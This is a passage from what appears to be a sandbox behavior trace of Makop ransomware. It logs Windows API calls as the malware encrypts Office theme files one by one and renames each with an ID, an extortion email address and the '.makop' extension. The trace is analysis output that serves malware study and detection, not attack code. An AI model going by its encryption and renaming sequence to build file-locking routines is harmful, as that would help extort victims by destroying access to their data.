nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0159.542] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0159.542] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0159.542] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.542] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x33892, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x33892, lpOverlapped=0x0) returned 1 [0159.547] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x338a0, dwBufLen=0x338a0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x338a0) returned 1 [0159.549] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.549] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x338a0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x338a0, lpOverlapped=0x0) returned 1 [0159.551] CryptDestroyKey (hKey=0x48c7128) returned 1 [0159.551] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x33974, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.551] SetEndOfFile (hFile=0xf0) returned 1 [0159.561] GetProcessHeap () returned 0x48a0000 [0159.562] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0159.562] GetProcessHeap () returned 0x48a0000 [0159.562] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0159.562] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 126 [0159.562] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\horizon.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\horizon.eftx.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0159.564] CloseHandle (hObject=0xf0) returned 1 [0159.564] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17dfbf00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b584a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x17dfbf00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x9a7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Median.eftx", cAlternateFileName="MEDIAN~1.EFT")) returned 1 [0159.564] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx") returned 78 [0159.564] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\median.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0159.565] GetProcessHeap () returned 0x48a0000 [0159.565] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0159.565] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0159.565] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0159.566] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x6, lpOverlapped=0x0) returned 1 [0159.572] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0159.572] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0159.572] GetProcessHeap () returned 0x48a0000 [0159.572] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0159.572] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0159.573] CryptDestroyKey (hKey=0x48c7128) returned 1 [0159.573] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0159.573] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0159.573] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0159.573] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0159.573] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0159.574] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0159.574] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0159.574] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0159.574] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.574] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x9a7a, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x9a7a, lpOverlapped=0x0) returned 1 [0159.576] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x9a80, dwBufLen=0x9a80 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x9a80) returned 1 [0159.577] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.577] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x9a80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x9a80, lpOverlapped=0x0) returned 1 [0159.577] CryptDestroyKey (hKey=0x48c7128) returned 1 [0159.577] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x9b54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.578] SetEndOfFile (hFile=0xf0) returned 1 [0159.585] GetProcessHeap () returned 0x48a0000 [0159.585] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0159.585] GetProcessHeap () returned 0x48a0000 [0159.585] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0159.585] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 125 [0159.585] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\median.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\median.eftx.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0159.587] CloseHandle (hObject=0xf0) returned 1 [0159.587] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b734600, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b584a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1b734600, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x5e35, dwReserved0=0x0, dwReserved1=0x0, cFileName="Metro.eftx", cAlternateFileName="METRO~1.EFT")) returned 1 [0159.588] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx") returned 77 [0159.588] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\metro.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0159.589] GetProcessHeap () returned 0x48a0000 [0159.589] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0159.590] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0159.590] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0159.590] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xb, lpOverlapped=0x0) returned 1 [0159.594] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0159.595] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0159.595] GetProcessHeap () returned 0x48a0000 [0159.595] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c37a8 [0159.595] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c37a8*, pdwDataLen=0x6577a90*=0x30, dwBufLen=0x30 | out: pbData=0x48c37a8*, pdwDataLen=0x6577a90*=0x30) returned 1 [0159.595] CryptDestroyKey (hKey=0x48c7128) returned 1 [0159.595] WriteFile (in: hFile=0xf0, lpBuffer=0x48c37a8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c37a8*, lpNumberOfBytesWritten=0x6577aa8*=0x30, lpOverlapped=0x0) returned 1 [0159.595] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0159.595] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0159.595] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0159.596] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0159.596] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0159.596] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0159.596] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0159.596] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.596] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x5e35, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x5e35, lpOverlapped=0x0) returned 1 [0159.598] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x5e40, dwBufLen=0x5e40 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x5e40) returned 1 [0159.598] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.598] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x5e40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x5e40, lpOverlapped=0x0) returned 1 [0159.599] CryptDestroyKey (hKey=0x48c7128) returned 1 [0159.599] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x5f04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.599] SetEndOfFile (hFile=0xf0) returned 1 [0159.606] GetProcessHeap () returned 0x48a0000 [0159.606] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c37a8 | out: hHeap=0x48a0000) returned 1 [0159.606] GetProcessHeap () returned 0x48a0000 [0159.606] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0159.606] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 124 [0159.607] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\metro.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\metro.eftx.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0159.609] CloseHandle (hObject=0xf0) returned 1 [0159.609] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dd5a000, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b7e600, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1dd5a000, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xa95d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Module.eftx", cAlternateFileName="MODULE~1.EFT")) returned 1 [0159.609] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx") returned 78 [0159.609] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\module.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0159.610] GetProcessHeap () returned 0x48a0000 [0159.610] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0159.610] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0159.610] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0159.611] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x3, lpOverlapped=0x0) returned 1 [0159.615] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0159.615] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0159.615] GetProcessHeap () returned 0x48a0000 [0159.615] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0159.615] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0159.615] CryptDestroyKey (hKey=0x48c7128) returned 1 [0159.615] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0159.616] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0159.616] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0159.616] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0159.616] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0159.616] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0159.616] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0159.617] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0159.617] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.617] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xa95d, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xa95d, lpOverlapped=0x0) returned 1 [0159.727] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xa960, dwBufLen=0xa960 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xa960) returned 1 [0159.727] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.727] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xa960, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xa960, lpOverlapped=0x0) returned 1 [0159.728] CryptDestroyKey (hKey=0x48c7128) returned 1 [0159.728] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xaa34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.728] SetEndOfFile (hFile=0xf0) returned 1 [0159.736] GetProcessHeap () returned 0x48a0000 [0159.736] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0159.736] GetProcessHeap () returned 0x48a0000 [0159.737] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0159.737] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 125 [0159.737] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\module.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\module.eftx.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0159.739] CloseHandle (hObject=0xf0) returned 1 [0159.739] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80c73700, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b7e600, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x80c73700, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x8e301, dwReserved0=0x0, dwReserved1=0x0, cFileName="Newsprint.eftx", cAlternateFileName="NEWSPR~1.EFT")) returned 1 [0159.740] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx") returned 81 [0159.740] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\newsprint.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0159.766] GetProcessHeap () returned 0x48a0000 [0159.766] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0159.766] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0159.766] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0159.767] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xf, lpOverlapped=0x0) returned 1 [0159.773] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0159.773] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0159.773] GetProcessHeap () returned 0x48a0000 [0159.773] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0159.773] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0159.773] CryptDestroyKey (hKey=0x48c7128) returned 1 [0159.773] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0159.773] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) 